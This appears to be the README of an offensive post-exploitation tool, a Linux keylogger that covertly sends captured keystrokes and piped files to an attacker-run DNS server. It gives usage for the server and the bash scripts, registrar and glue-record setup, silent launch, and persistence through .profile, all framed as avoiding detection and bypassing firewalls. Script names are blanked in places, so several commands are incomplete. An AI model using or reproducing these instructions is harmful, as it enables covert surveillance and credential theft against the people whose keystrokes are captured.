This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.



The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting The Server

To start the server, run python3

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:

  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.


On the registrar, you want to change your domain’s namespace to custom DNS.

Point them to two domains, and

Add records that point the namespace domains to your exfiltration server’s IP address.

This is the same as setting glue records.



The Linux keylogger is two bash scripts. is used by the script to send the keystrokes to the server.

If you want to manually send data, such as a file, you can pipe data to the script. It will automatically establish a connection and send the data.

Usage: [-options] domain
Positional Arguments:
  domain: the domain to send data to
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./ [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent.

The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging. and must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
  -n: number of characters to store before sending a packet

For more information click here.